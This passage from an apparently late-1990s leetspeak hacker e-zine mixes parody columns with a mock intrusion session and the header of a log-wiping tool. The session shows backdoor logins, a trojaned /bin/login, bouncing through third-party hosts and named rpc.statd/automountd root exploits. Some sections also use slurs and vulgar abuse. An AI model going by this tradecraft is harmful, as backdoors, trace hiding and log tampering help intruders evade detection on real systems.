  1215. k0d3z, f33l fr33 t0 k4ll k0ll3kt, 1 w1ll 4cc3pt ch4rg3z jU$t t0 h4v3 sUm1
  1216. t0 t4lk t0).
  1217.  
  1218.  
  1219. telnet> o ns2.co.uk # th1s 1z my v3ry k-PhR3sh s3kUr1ty k0mp4ny...
  1220.             # sUm d4y w3'll h4v3 cl13ntz
  1221. Trying 209.203.235.87...  
  1222. Connected to ns2.co.uk
  1223. Escape character is '^]'.
  1224.  
  1225.  
  1226. Virtual Server (saturn.exploit.net) # ch3k 0ut mY r4d h0stn4m3!@
  1227.  
  1228. login: so1o
  1229. Password: ant10nl1n3r0x
  1230.  
  1231. Last login on ttyp7 from dgs.dgsys.com
  1232.  
  1233. w3lc0m3 t0 th3 jUngl3.. pl3z3 b3h4v3 uRs3lf & d0nt st34l my el1t3 w4r3z.
  1234. th4nx. 
  1235.  
  1236.     -- so1o
  1237.  
  1238. % whoami
  1239. so1o
  1240. % /tmp/.sneaky      ; n0t3: th1z bAkd00r t4k3n fr0m daemon9'z art1kl3
  1241.             ; wh1ch app34rz elsewh3r3 1n th1z issu3.. h3 1z a
  1242.             ; f3ll0w el8
  1243. # whoami
  1244. root            ; z3r0-d4y!@$*)(
  1245. # telnet dgs.dgsys.com  ; all h4qrz b0unc3 t0 h1d3 th31r ip & l0ok k001
  1246.             ; eY3 uz3 th1s s1t3 f0r m0st 0f my h4ck1ng
  1247.             ; 0f .m1lz etc.. f33l fr33 t0 uz3 1t 4ls0,
  1248.                         ; th3y'll n3v3r k4tch 0n
  1249.  
  1250. Trying 204.97.64.1...
  1251. Connected to dgs.dgsys.com.
  1252. Escape character is '^]'.
  1253.  
  1254.  
  1255. UNIX(r) System V Release 4.0 (dgs)
  1256.  
  1257. login: check_mate   ; my k-r4d l0g1n bAkd00r.. ev3ry s1t3 eYe h4k
  1258.             ; eYe uz3 th3 sAm3 l0g1n b1n, th1z 1z g00d kUz
  1259.             ; th4t w4y ey3 d0nt g3t k0nfUz3d & stUph
  1260.             ; th3 alt3rnat1v3z r rshd <bAkd00r pw 'humble'>
  1261.             ; 0r l0g1n aga1n <l/p 0wnd>.  th1z 1z my fav0r1t3
  1262.             ; by f4r th0.
  1263.  
  1264. Last login: Sat May  1 12:19:33 on pts/0
  1265. root@dgs:~# ls -la /bin/login
  1266. -rwx------   1 root     root       46444 May  3  1996 /bin/login
  1267. root@dgs:~# ls -cl /bin/login
  1268. -rwx------   1 root     root       46444 Apr  2 13:13 /bin/login
  1269.  
  1270. ; hmm, our l0g1n bAkd00r s33mz 4 b1t l4rg3.. alz0 th3 ct1m3z r ch4ng3d.
  1271. ; bUt eYe d0nt th1nk th3y'll n0t1c3...
  1272.  
  1273. root@dgs:~# cd /dev/.../el8/\
  1274. h1dd3n/s3KrUt/z3r0-d4y/uR_g3tt1ng_th3r3/\
  1275. k33p_g01ng/alm0Zt_th3r3/wAr3z
  1276.  
  1277. ; n0w th1z 1z wh3r3 1t g3tz a b1t k0mpl1k4t3d.. hAck1ng n3w s1t3z.
  1278. ; f1rZt, u mUzt h4v3 tw0 v3ry ess3nt14l el8 x-pl0iTZz wh1ch r 
  1279. ; ast0und1ngly /<-r4d & overwh3lm1ng 1n th31r bUgtr4qn3zZ.. 
  1280. ; th3y r kn0wn aZ 'dropstat' and 'automountdexp.'
  1281. ; th1z 1z h0w th3y w0rk:
  1282.  
  1283. root@dgs:~# ./dropstat help.me.im.a.retard.and.this.is.sum.worthless.machine.
  1284.                    that.no.one.gives.a.fuck.about.but.i.think.its.cool.to.
  1285.                        hack.anything.ending.in.navy.mil
  1286. rpc.statd located on port 32771
  1287. # whoami
  1288. root
  1289.  
  1290. ; s33, v3ry s1mpl3!  n0w f0r aut0m0untd, th1z 1z a b1t tr1ck13r..
  1291.  
  1292.  
  1293. root@dgs:~# ./amountdexp i.own.lame.unpatched.solaris.2.5.boxes.in.the.uk
  1294. Automountd attack via rpc.statd bouncing
  1295. Success.
  1296.  
  1297. ; n0w u mUzt t4k3 a s3k0nd st3p.. th3 expl01t dUz s0m3 w31rd stUph
  1298. ;  aNd m4k3z a r00tsh3ll h4pp3n 0r s0m3th1ng 1ph u t3ln3t t0 p0rt 1524..
  1299.  
  1300. root@dgs:~# telnet i.own.lame.unpatched.solaris.2.5.boxes.in.the.uk 1524
  1301. Trying 3.1.33.7...
  1302. Connected to i.own.lame.unpatched.solaris.2.5.boxes.in.the.uk.
  1303. Escape character is '^].'
  1304. #               ; el1t3 w3 r r00t1n 
  1305.                 
  1306. ; th1s als0 cr3at3z sUm w31rd /tmp/bob f1l3, 1m n0t sUr3 wh4t 1tz f0r,
  1307. ; bUt u k4n jUzt l34v3 1t th3r3.. n01 w1ll 3v3r n0t1c3 
  1308.  
  1309.  
  1310. w3ll d00dz th4tz b4s1k4lly 4ll th3r3 1z t0 1t.. 1t v4r13z 4 b1t..
  1311. th1s wUz 4 sl1ght d3p4rtur3 fr0m th3 n0rm f0r m3 s1nc3 1 usU4lly
  1312. 0nly h4k l1nux w1th my 0-d4y mountd, ftpd, and imapd w4r3z + my
  1313. 0wnd/0wnd l0g1n b4kd00r, bUt th3 pr1nc1pl3z r m0stly th3 s4m3.
  1314. h0p3 u f0und 1t 1nf0rm4t1v3.
  1315.  
  1316.  
  1317. p34c3 0ut,
  1318. so1o
  1319.  
  1320. ______________________________________________________________________________
  1321.  
  1322. 888888888888888888888888888888888888888888888888888888888888888888888888888888
  1323. ______________________________________________________________________________
  1324. BoW BoW BoW BoW BoW Bo*                                *BoW BoW BoW BoW BoW Bo
  1325. W BoW BoW BoW BoW Bo* + ------------------------------ + *BoW BoW BoW BoW BoW
  1326. BoW BoW BoW BoW BoW Bo|    TH3 3NT3RT41NM3NT K0LUMN    |BoW BoW BoW BoW BoW Bo
  1327. W BoW BoW BoW BoW Bo* + ------------------------------ + *BoW BoW BoW BoW BoW
  1328. BoW BoW BoW BoW BoW Bo*   by: D1str0-D4v3 [BoW/H4G1S]  *BoW BoW BoW BoW BoW Bo
  1329. ==============================================================================
  1330.  
  1331. Ph1rst there w4s St4r W4r3Zz, Th3 SPA Str1kez B4ck, and R3turn 0f th3 Z3r0d4y,
  1332. n0w V3lkr0ph1lm studios br1ngZz j00 the m0st 4nt1cip4t3d prequ3l th3 w0rld h4s
  1333. ever s33n. s3t y0ur ph4z3rz 0n phun f0r:
  1334.  
  1335.                    _______.___________.    ___      .______
  1336.                   /       |           |   /   \     |   _  \
  1337.                  |   (----`---|  |----`  /  ^  \    |  |_)  |
  1338.                   \   \       |  |      /  /_\  \   |      /
  1339.               .----)   |      |  |     /  _____  \  |  |\  \----.
  1340.               |_______/       |__|    /__/     \__\ | _| `._____|
  1341.  
  1342.        ____    __    ____  ___      .______       _______     _______.
  1343.        \   \  /  \  /   / /   \     |   _  \     |   ____|   /       |
  1344.         \   \/    \/   / /  ^  \    |  |_)  |    |  |__     |   (----`
  1345.          \            / /  /_\  \   |      /     |   __|     \   \
  1346.           \    /\    / /  _____  \  |  |\  \----.|  |____.----)   |
  1347.            \__/  \__/ /__/     \__\ | _| `._____||_______|_______/
  1348.  
  1349.                       EPISODE 0N3: THE K0URRI3R M3N4C3
  1350.  
  1351.                        "Eye Phear BoW." -- Gene Spafford                  
  1352.             "One of the year's most Recent films!" -- Leonard Maltin
  1353.                 "You'll laugh until you stop!" -- Roger Ebert
  1354.                "I'd say something, but I'm dead" -- Gene Siskel
  1355.                    "w0w. I've wasted my life." -- Dale Drew
  1356.     _
  1357.     \\   <---- l1ght s4b3r                                                   
  1358.      \\
  1359.       \\                     _\.//|/._      ------- y0ung j3d1 k0ur13r
  1360.        \\                    >       <    /       
  1361.         \\                   @ o   O @  /         
  1362.          \\                   |  ^  |         
  1363.           \\                  \ <_> /       
  1364.            \\                  -___-                     
  1365.             \\               ___| |___                   
  1366.              \\            /    ---    \              
  1367.              \ \         /  /|U$3 TH3 \  \                ---w4r3z dr01d
  1368.              o  o______ /  / |PH0RC3!|  \  \_____oo      /   C3P0-d4y un1t, 
  1369.              (o\ \______/    |       |   \-----  ooo    /    w1th k-k00l BoW
  1370.                 \_\          |       |         /------\      arch1tectur3!@# 
  1371.                              |_______|        / | | | | \    k4n st0r3 6 
  1372.                              |___0___|       |  O. oo o |    terrabytez!@#                
  1373.                              /)  |  (\       |----------|                      
  1374.                             |    .    |      | |%%| |&| | *!@ blEeP bl0op..              
  1375.                             |   / \   |      | |%%|     |     BoW rul3z !**          
  1376.                             |   | |   |      |      * * |    
  1377.                             |   | |   |      |  :::     |    
  1378.  
  1379.      
  1380.  
  1381.     The k4st:
  1382.     ---------
  1383.        
  1384.        Chris G0gg4nZ as th3 y0unG LUK3 D0WNL04D3R, a y0ung k0urri3r
  1385.        wh0 is 1gn0r4nt 0f h1s sys0p h3r1t4ge, but h4z th3 sp4rq
  1386.        1ns1d3 h1m t0 unl34sh th3 unl1m1t3d cr3d1tz th4t k4n s4v3 th3
  1387.        un1v3rs3. h1z f4th3r l0st h1s l1fe wh3n Luke w4s 4 b4by
  1388.        dur1n4g th3 ph1rst SPA r4id... 0r s0 he th1nkZz.
  1389.  
  1390.        N1ck P0tk4y st4rz 4z th3 imph4m0us N4RQ VAD3R, th3 ev1l
  1391.        l34d3r 0f th3 SPA. B3nt 0n k33p1ng qu4l1ty w4rez 0ut
  1392.        0f th3 h4ndz 0f th3 pir8 4ll1anc3, N4rq V4d3r w1ll st0p 4t
  1393.        n0th1ng t0 ph0rc3 th3 g4l4xy t0 p4y ph0r th31r 4ppz. b3l13ved
  1394.        t0 h4v3 been th3 1nf0rm4nt t0 th3 FBI th4t r3sult3d in th3 r4id
  1395.        on Luke'z f4rth3r'z cr4ck1ng gr0up, 4nd th3 f0rm1ng 0f th3 SPA.
  1396.        
  1397.        Als0 st4rr1ng G4il Th4ck3r4y 4s th3 b34t1ful Pr1nc3zz Z3r0d4ya,
  1398.        K3v1n M1tn1ck as 0day Want Shen0bi, 4nd 3mm4nu3l g0ldst31n as
  1399.        th3 pl4yful w4r3z-dr0id C3P0-D4Y. F34tur1ng sp3c14l 4pp34r4ncez
  1400.        by tsut0mu sh1m0mur4 4s Japa the Slut 4nd k3v1n P0uls3n 4s K0D4,
  1401.        th3 4g3d k0urr1er m4st3r and pr0vid3r 0f 3l1t3 k0d3z.
  1402.  
  1403.     The St0ry:
  1404.     ----------
  1405.        
  1406.        th3 adventur3 b3g1nz.........
  1407.  
  1408.        th3 republ1k 0f th3 g4l4ct1k 0rd3r 0f k0ur13rz ass3mbl3 1n 0rd3r 
  1409.        2 0vrthr0w th31r w4r3z-m0ng0r1ng 0pr3ss0rz...th3 SPA. A y0ung 
  1410.        d00dl3 b0y by th3 n4me 0f Luke Downl04der 1z k4ll3d t0 th3 
  1411.        c4uz bY a w1$3 0ld BoW af1l by th3 n4me 0f 0day Want Shen0bi.
  1412.        0day tr41nz y0ung D0wnl04d3r 1n th3 w4yz 0f th3 ph0rc3..
  1413.        th3 all-enc0mp4$$1ng energy s0urc3 th4t phl0wz thrU th3 s0ul
  1414.        0f every h4rdk0r3 k0ur13r. w1th th3 ph0rc3 0n ur s1d3 u k4n
  1415.        d0 alm0$t anyth1ng...cr4ck err0r 29...s31ze trunkZ 1n 24 d1ffernt
  1416.        c0untr13z...ev4d3 b4n-k1ckz 0n #hack...g3t uR gr0upz k0py 0f
  1417.        t0mb r41d3r 16 0ut b4 any1 els3!@# 
  1418.  
  1419.        aft3r th3 SPA/FBI r41dz 0f th3 k0ur13rz [n4m3d 'th3 cl0ne w4rs']
  1420.        th3 gr0up c0uld n0 l0ng3r u$e th31r m0t b4gz t0 k4ll b04rdz
  1421.        1n g3rm4ny. D0wnl04d3r w0uld b th3 l4$t h0pe....
  1422.  
  1423.        k4n h3 phrEE th3 w4r3z 4 a gener4t10n 0f k1dz ph0rc3d 2 p4y
  1424.        h4rd e4rn3d c4$h 4 th31r w4r3?!@# eye d0n't kn0w du0dz buT eye
  1425.        h0p3 s0...st4y tun3d ph0r th1$ sur3 t0 be ep1c adventur3!@#!@#
  1426.                   
  1427.                        _.-'~~~~~~`-._
  1428.          N4rq         /      ||      \
  1429.         V4d3r        /       ||       \  "Luk3 my s0n, JoIN tH3 SPA
  1430.           +------>  |        ||        | 4nd y0u CaN bE MY c0-SySoP!
  1431.                     | _______||_______ | 
  1432.                     |/ ----- \/ ----- \|  Y0u W1Ll NeVeR h4v3 Th3
  1433.                    /  (WAREZ)  (0-DAY)  \ cr3d1tz y0u nEeD t0 l34ch
  1434.                   / \  ----- () -----  / \ th3 Z3r0Day 0th3rWiSe!"
  1435.                  /   \      /||\      /   \
  1436.                 /  |  \    /||||\    /  |  \
  1437.                /  SPA  \  /||||||\  /  SPA  \
  1438.               /_   |    \o========o/    |   _\
  1439.                 `--...__|`-._  _.-'|__...--'
  1440.                              `'        
  1441.     St4r W4r3z iZ k0pyr1ght 1999 1ndu$tr14l v3lkr0 4nd m4g1k
  1442.     
  1443.  
  1444. ______________________________________________________________________________
  1445.  
  1446. 999999999999999999999999999999999999999999999999999999999999999999999999999999
  1447. ______________________________________________________________________________
  1448. BoW BoW BoW BoW BoW Bo*                                *BoW BoW BoW BoW BoW Bo
  1449. W BoW BoW BoW BoW Bo* + ------------------------------ + *BoW BoW BoW BoW BoW
  1450. BoW BoW BoW BoW BoW Bo|  B1W FIGHTING F0RCE: AN INTRO  |BoW BoW BoW BoW BoW Bo
  1451. W BoW BoW BoW BoW Bo* + ------------------------------ + *BoW BoW BoW BoW BoW
  1452. BoW BoW BoW BoW BoW Bo*       by: The 0wn3d R4ng3r     *BoW BoW BoW BoW BoW Bo
  1453. ==============================================================================
  1454.  
  1455.  
  1456. B1WB1WB1WB1WB1WB1WB1WB1WB1WB1WB1WB1WB1W
  1457. BOW     TH3 BEE 0NE D0UBLE-YEWZ     BOW
  1458. BOW        ---[  B 1 W  ]---        BOW
  1459. BOWBOWBOWBOWBOWBOWBOWBOWBOWBOWBOWBOWBOW
  1460. BOW       BY THE 0WN3D R4NGER       BOW
  1461. BOWBOWBOWBOWBOWBOWBOWBOWBOWBOWBOWBOWBOW
  1462. BOW         W4REZ RUSTLER,          BOW
  1463. BOW       0UTL4W K0D3SLINGER        BOW
  1464. BOW      H1 Y0 SPLO1TER, AWAY!      BOW
  1465. B1WB1WB1WB1WB1WB1WB1WB1WB1WB1WB1WB1WB1W
  1466.  
  1467. INTRODUCTION:
  1468.  
  1469. Y0Y0Y0Y0 BITCH3Z!@#$!!@!@@#! TH3 OWN3D
  1470. RANGER H3R3 W1TH SOME FRESH NEWZ ON THE
  1471. HOM3FR0NT ABOUT THE M0ST PH34RS0ME
  1472. FIGHTING F0RCE TO HIT TH3 SC3NE S1NCE
  1473. JIMMY AND BILLY L33 KICK3D EVERY0N3S
  1474. ASS IN DOUBL3 DR4GON.
  1475.  
  1476. BEFOR3 3Y3 KONTINU3, Y0U MAY HAVE
  1477. N0T1CED TH4T TH1S 4RTIKL3 1S S3T FOR
  1478. 40 K0LUMNZ. W3LL MY AMIGA G0T FR1ED
  1479. CUZ EY3 SK0R3D T00 HIGH 0N L3MM1NGZ
  1480. 4ND IT SH0+ MY F4TT3R AGNUZ CH1P. SO
  1481. EYE AM PH0RC3D T0 SCR1B3 THIS ON MY
  1482. C64. BUT TH4T'5 OK CUZ I 4D0R3 MY 64.
  1483.  
  1484. ANYWAYZ, B4CK T0 TH3 B1W'Z: 1T IS W3LL
  1485. KN0WN TH4T TH4T TH3 UPP3R ECH3L0NZ OF
  1486. B0W AR3 PH1LL3D W1TH S00PAH-T0UGH BAD
  1487. ASS THUGZ. IF U FUCK W1TH BOW, Y0U W1LL
  1488. PH33L TH3 WR4TH 0F OUR "F1STZ 0F TH3
  1489. N0RTHST4R", AND F1ND TH3 B0W K0LL3KT1VE
  1490. B00T V1OL4T1NG Y0' ASS IN 4 FL4SH. 
  1491.  
  1492. H0W3VER, MY G00D BUDD13 U4EA IS A
  1493. V3RY BUSY M4N 4ND H4VING TO D1SH 0U+
  1494. VI0L3NC3 T0 TH3 L4M3 1Z 4 T1ME-
  1495. C0NSUM1NG 4ND T3D10UZ T4SK. TH3 S4M3
  1496. G03Z F0R TH3 0TH3R 31337 M3MBERZ OF
  1497. BOW'Z 1NN3R S4NKTUM, WHO H4V3 MUCH
  1498. B3TT3R TH1NGZ T0 D0 TH4N D34L W1TH
  1499. N3WB13 D0RKZ WH0 TH1NK TH3Y KAN D1S
  1500. B0W 4ND L1V3 T0 T3LL TH3 T4LE. TH1S
  1501. IS WH3R3 THE B1W'Z PH1T IN.
  1502.  
  1503. TH3 B33 0N3 DOUBLE-YEWZ:
  1504.  
  1505. TH3 B1W'Z 4R3 A CR4CK T3AM OF EL1T3
  1506. GI-J03 TYP3 MUTH4FUCK4Z W1TH M4D
  1507. SK1LLZ 1N KL0SE QU4RT3RZ K0MB4T,
  1508. 4ND WITH K-SHARP SWORDZ TH4T'LL KUT
  1509. Y0 GREAZY B4LD-H34D3D B1TCH ASS IN
  1510. TW0 B4 U KAN S4Y "EYE SH0ULD HAVE
  1511. PH34RED BOW". BUT DON'T T4K3 MY W0RD
  1512. PH0R 1T, CH3CK OUT TH1Z K-R4D PIC
  1513. 0F TW0 T0P-S3KR1T MUSCL3-M4N M3MB3RZ
  1514. 0F TH3 B1W PH1GHTING PH0RC3:
  1515.  
  1516. ......................................
  1517. ..ELITE GIF2ASC OF S0ME B1W W4RR10RZ..
  1518. .......DRESSED IN THEIR FINERY........
  1519. ......WITH THEIR SW0RDZ OF DEWM.......
  1520. .............B........................
  1521. ............RR.....B..................
  1522. ....BRRB...BW......B......B...........
  1523. ...XYYYVB..X......R.....WYYYW.........
  1524. ..Wt,,;iV.V.......R.....Yt+tI.........
  1525. ...Y:..+VX........B.....i.,.;.........
  1526. ....I,+i+YWR.....R....BRVi.;YYVR......
  1527. ...BWVV+IYIIVR..XIR.RWXVVXVXIYIVVB....
  1528. ..I,   IViiVYVRBi;IWXWt,  ;VY;;VVX....
  1529. .RYtt;It+IVitYXR:,IWXWWY+tYYitVVVW....
  1530. BYVWIYY;,YXVYIV.XIVRWWXVYIi+IVVXVR....
  1531. VXRYYWVtiYXVIIVB..BRRWXXi:tYVIIXVW....
  1532. XVIIWVitt:XXXVXR.......BRVXVYtiVVX....
  1533. V+IVWWI+:VXVXXB.........BXWXVtII;VR...
  1534. RWBWBWVitXVIXB.........BXXWWWXYIYVVR..
  1535. B..RBBWXXVVVBR.........RXXXXXXXXXVXW..
  1536. ..WBBBXVtYVRRWB........WXXXXXXXWXXXX..
  1537. .B.BWV:;:+WWRB........BWWWWWRRWWWXXW..
  1538. ..B.BVi;;V.BBB........RRRRBBB.BWWWWWW.
  1539. ................................BBBBB.
  1540.  
  1541. R3M3MB3R TH3 S1W'Z FR0M TH3 B0MB RAP
  1542. GR0UP PUBL1C 3N3MY? W3LL, THE B1W'Z
  1543. 4R3 KIND4 L1K3 TH4T 3XCEPT W3 D0N'T
  1544. D4NC3 4R0UND L1K3 P4NZI3Z WH1LE CHUCK-
  1545. DEE R4PZ AB0UT S0M3 B1TCH W4TCH1NG 
  1546. A TV ST4T10N TH4T DO3SN'T EX1ST.
  1547.  
  1548. KRAD!@#$@ EYE W4NN4 J01N!:
  1549.  
  1550. B1W M3MB3RZ MUS+ G0 THRU 3XTENS1VE
  1551. PHYSIK4L TR41NING B4 B31NG ADM1TT3D
  1552. 1NT0 TH3 R4NKZ 0F TH1S S4KR3D 0RD3R
  1553. OF W4RR10R K0URRI3RZ. 1F Y0U TH1NK
  1554. U R TUFF EN0UGH T0 B3 A B1W IN1TI4T3
  1555. TH3N S3ND M3 A M3SS4GE 0N TH3 B0W BBS,
  1556. 4ND I K4N ARR4NGE TH3 PR3LIMIN4RY
  1557. T3STZ (N0T3: TH3 PH1RZT 0N3 INV0LV3Z
  1558. 4RM WRESTL1NG D-C3LLERAT10N TRAUM4,
  1559. S0 1F Y0U D0N'T TH1NK U 4R3 UP T0 TH4T
  1560. T4SK, TH3N D0 N0T EV3N BOTHER). 1F YOU
  1561. P4ZZ TH3N Y0U K4N ENT3R TH3 B1W TR4IN-
  1562. ING PR0GR4M, WHICH INCLUDEZ R1GOR0US
  1563. TR41N1NG 1N THE 0FF1C14L B1W MARTIAL
  1564. 4RT, TAE-BOW. 
  1565.  
  1566. CONCLUS10N:
  1567.  
  1568. PH34R TH3 B1W'Z!!@$!@!#$!!#@
  1569. Y0U SH4L PH33L TH31R WR4TH!@$!@!
  1570.  
  1571. L4M3RZ K4N SUCK TH3 B1W'Z K0LL3KT1VE
  1572. PENII!@!@$!#@!@!#!$$!@!@!$%%%%%!
  1573.  
  1574. B                  1                  W
  1575. B1WB1WB1WB1WB1WB1WB1WB1WB1WB1WB1WB1WB1W
  1576. B      1   TH3 0WN3D R4NGER    1      W
  1577. B      1       [B0W/B1W]       1      W
  1578. B1WB1WB1WB1WB1WB1WB1WB1WB1WB1WB1WB1WB1W
  1579. B                  O                  W
  1580.  
  1581.  
  1582. ______________________________________________________________________________
  1583.  
  1584. 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 
  1585. ______________________________________________________________________________
  1586. BoW BoW BoW BoW BoW Bo*                                *BoW BoW BoW BoW BoW Bo
  1587. W BoW BoW BoW BoW Bo* + ------------------------------ + *BoW BoW BoW BoW BoW
  1588. BoW BoW BoW BoW BoW Bo|       K-RAD CRYPTOGRAPHY       |BoW BoW BoW BoW BoW Bo
  1589. W BoW BoW BoW BoW Bo* + ------------------------------ + *BoW BoW BoW BoW BoW
  1590. BoW BoW BoW BoW BoW Bo*       by: Pluvius / VKW        *BoW BoW BoW BoW BoW Bo
  1591. ==============================================================================
  1592.  
  1593.                               
  1594. Cyberpunk author Neal Stephenson recently solicited a few top notch crypto 
  1595. folks for some non-computer based cryptography for his new book, Cryptonomicon.
  1596. For this project, he approached only two cryptographers; that sissy Bruce 
  1597. Schneier and our very own Velkr0 "I put the K in K0de" K0d3 W4rr10r. Now, Neal
  1598. not being very a smart person, ended up using that other guy's system. However,
  1599. presented here is the d00d-sp3ak low-tech cryptography system that Velkro 
  1600. came up with.
  1601.                           
  1602.                                 
  1603.                                 INTRODUCTION:
  1604.                                 ^^^^^^^^^^^^^
  1605.  
  1606. Y0!@#!$$%^&^%$! L1st3n up ph3ll0w BoW du0dZz, it'z Th3 V3lkr0 K0d3 W4rr10r 
  1607. h3r3 w1th s0me k-r4d 0-d4y crypto inf0rmat1on th4t k4n c0m3 1n very h4ndy wh3n
  1608. y0u n33d to k33p a c0mmunicat1on s3kr1t 4nd d0n't h4ve 4cc3ss t0 4 'puter.
  1609.  
  1610. Eye k4m3 up w1th th1s syst3m ph0r Neal Stephenson ph0r h1s n3w crypt0 b00k,
  1611. but th3 b4st4rd th0ught h3 w4s 2 k-r4d ph0r the 0ld k0de w4rr10r, 4nd l3ft
  1612. m3 0ut 0f th3 b00k. But th4tz 0k, cuz n0w 3y3 c4n sh4re it w1th y0u 1nst34d
  1613. 0f h4v1ng 3v3ry l4m3r 4nd h1s 1nbr3d uncl3 us3 th1s r4d n3w t3kn33q.
  1614.  
  1615. S0 h3r3 y0u g0, th3 d00d-sp3ak lo-tek crypt0 syst3m, als0 kn0wn as P3P, 0r
  1616. Pr3tty 31337 Pr1v4cy.
  1617.         
  1618.     -- Th3 V3lkr0 K0d3 \/\/4rr10r
  1619.  
  1620.  
  1621.                                 METHODOLOGY:
  1622.                                 ^^^^^^^^^^^^
  1623.  
  1624. As stated before, this system employs d00d-speak to hide messages.
  1625.  
  1626. Take the phrase:
  1627.  "haY d00d!!*$& g1mm3 s0m3 k0d3z s0 th4t eYe k4n kall mie GrrrLL1e."
  1628.  
  1629. We convert this phrase to normal english:
  1630.  "hey dude, give me some codes so that I can call my girlfriend."
  1631.  
  1632. And then take the common letters in the order they appear:
  1633.  "haY d00d!!*$& g1mm3 s0m3 k0d3z s0 th4t eYe k4n kall mie GrrrLL1e."
  1634.  "hey dude, give me some codes so that I can call my girlfriend."
  1635.   _ _ _ _   _    _  _ _    _   _  __ _     _  ___ _  _ __   _
  1636.   h y d d   g    e  s m    d   s  th t     n  all m  g rl   e
  1637.  
  1638. Notice that the only letters selected are ones that appear in both the 
  1639. original k-rad phrase, and the resulting plain-english translation. For this
  1640. system, differences in case are ignored.
  1641.  
  1642. So in this situation, the real message is:
  1643.  
  1644.     hyddgesmdsthtnallmgrle
  1645.  
  1646. Which just happens to be Swahili for:
  1647.  
  1648.     "Henry Hyde was the one on the grassy nole."
  1649.  
  1650. (you can see why this message had to be heavily encrypted!@##!)
  1651.  
  1652.  
  1653. Let's try some more:
  1654. --------------------
  1655.  
  1656. Original: 
  1657.     sM4K m3 s+00p1d!! th3r3z 4 V1ruz 1n m3 0-D4Y!
  1658.  
  1659. Translation:
  1660.     smack me stupid, there is a virus in my zero-day.
  1661.     --  - -  -  - -  -- -       - --   - -       - -
  1662.     sm  k m  s  p d  th r       v ru   n m       d y
  1663.  
  1664. Resulting Phrase:
  1665.     smkmspdthrvrunmdy
  1666.  
  1667. Which is Swedish for: 
  1668.     "the firewall can't hold up much longer. Let's go fishing"
  1669.  
  1670.  
  1671. And lastly:
  1672. -----------
  1673.  
  1674. Original:
  1675.     y0y0y0, YP 0wnz y3r ph4T azz#*%2*! p01n+ Y3r sKriPTZ @ 
  1676.     y3R M0mma t0n1ght, BAYBEE!
  1677.  
  1678. Translation:
  1679.     your attention please! The Yorkshire Posse owns your fat ass. Point your
  1680.     -                          -         -      --  -  -   - -    -  -  -  -
  1681.     y                          y         p      wn  y  r   t a    p  n  y  r
  1682.  
  1683.     hacking scripts at your mother tonight, baby.
  1684.             - ----     -  - -      - - ---  ---
  1685.             s ript     y  r m      t n ght  bab      
  1686.     
  1687. Resulting Phrase:
  1688.     yypwnyrtapnyrsriptyrmtnghtbab
  1689.  
  1690. Which is Russian for:
  1691.     "Comrade! Pick up some vodka and a soldering iron on your way home from
  1692.     the brothel!"
  1693.  
  1694.  
  1695.                                   NOTES:
  1696.                                   ^^^^^^
  1697.  
  1698. It turns out that a keen understanding of many foreign languages is needed
  1699. to effectively use d00d-speak crypto. However that is seen as a minor 
  1700. barrier. The use of many languages provides added flexibility to this system. 
  1701. Provided you have the appropriate language skills, d00d-speak crypto
  1702. can be a fast and versatile way of communicating in secret, especially when
  1703. computer-based crypto packages such as PGP are unavailable.
  1704.  
  1705.     -- Pluvius [BoW/ANuS/GLuE] kradweb: users.dhp.com/~pluvius
  1706.     
  1707.     
  1708. ______________________________________________________________________________
  1709.  
  1710. 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 
  1711. ______________________________________________________________________________
  1712. BoW BoW BoW BoW BoW Bo*                                *BoW BoW BoW BoW BoW Bo
  1713. W BoW BoW BoW BoW Bo* + ------------------------------ + *BoW BoW BoW BoW BoW
  1714. BoW BoW BoW BoW BoW Bo|    PHRESH WAREZ: BOWZ4P.C      |BoW BoW BoW BoW BoW Bo
  1715. W BoW BoW BoW BoW Bo* + ------------------------------ + *BoW BoW BoW BoW BoW
  1716. BoW BoW BoW BoW BoW Bo*      by: The k0d3sl4y3r        *BoW BoW BoW BoW BoW Bo
  1717. ==============================================================================
  1718.  
  1719.     w0rd!@#  smAk1tUp n1gl3tz, phr3$h w4r3z phr0m th3 K0D3SL4Y3R of BoW.  
  1720.     0nc3 4g41n BoW 1z th3r3 k0ur13r1ng th3 l8Zt & gr34t3zt w4r3z t0 0ur 
  1721.     f41thpHul ph34r1ng r34d3r$h1p f1rZt!@$#
  1722.  
  1723. ---kUt-h3r3---kUt-h3r3---kl1p-kl1p---z3r0-dAy---smAk-smAk---kUt-h3r3-
  1724.  
  1725. /* 
  1726.  *  ____            __      __          __ __                     
  1727.  * /\  _`\         /\ \  __/\ \        /\ \\ \                    
  1728.  * \ \ \_\ \    ___\ \ \/\ \ \ \  ____ \ \ \\ \    _____          
  1729.  *  \ \  _ <'  / __`\ \ \ \ \ \ \/\_ ,`\\ \ \\ \_ /\ '__`\        
  1730.  *   \ \ \_\ \/\ \_\ \ \ \_/ \_\ \/_/  /_\ \__ ,__\ \ \_\ \       
  1731.  *    \ \____/\ \____/\ `\___x___/ /\____\\/_/\_\_/\ \ ,__/       
  1732.  *     \/___/  \/___/  '\/__//__/  \/____/   \/_/   \ \ \/        
  1733.  *                    Ph34r BoW!@!#!@ www.velkro.net \ \_\        
  1734.  *                                                    \/_/
  1735.  *
  1736.  * BoWZaP 1.0 - k-sp1ff h4qR tYp3 l0g ed1t0r ph0r 4.4BSD/SunOS4/Linux
  1737.  *
  1738.  * say u r l0gg3d 1nt0 cert.org as 'sp4f' on ttyp2 & want t0 b
  1739.  * m1sch13v0us.. u w0uld th3n d0: 
  1740.  * 
  1741.  * [sp4f@cert][~] % su -
  1742.  * Password: b0w-t13z 
  1743.  * # ./BoWZaP sp4f justin.kalinas.home.machine ttyp2
  1744.  *
  1745.  * 0r t0 ch4ng3 4ll 1nst4nc3z 0f sp4f jU$t l34v3 0ut th3 ttY argUm3nt..
  1746.  * 
  1747.  * u k4n alz0 uz3 1t t0 1mpr3$$ uR fr13ndz & tr1ck th3m 1nt0 g1v1ng 
  1748.  * u k0d3z .. i.e. m4k3 1t l00k l1k3 uR 0n fr0m zang.com or s0m3th1ng, 
  1749.  * th3n ppl w1ll l1k3 t0tally ph34r u & stUph.
  1750.  * 
  1751.  * k0mp1l3 w/ [g]cc -O[2] -o BoWZaP BoWZaP.c [-DSUNOS] -s
  1752.  *  
  1753.  * w0rd!@#
  1754.  *         -  K0d3S|aY3r [b4dd3r & k-r4dd3r th4n ev3r 1n '99]
  1755.  */
  1756.  
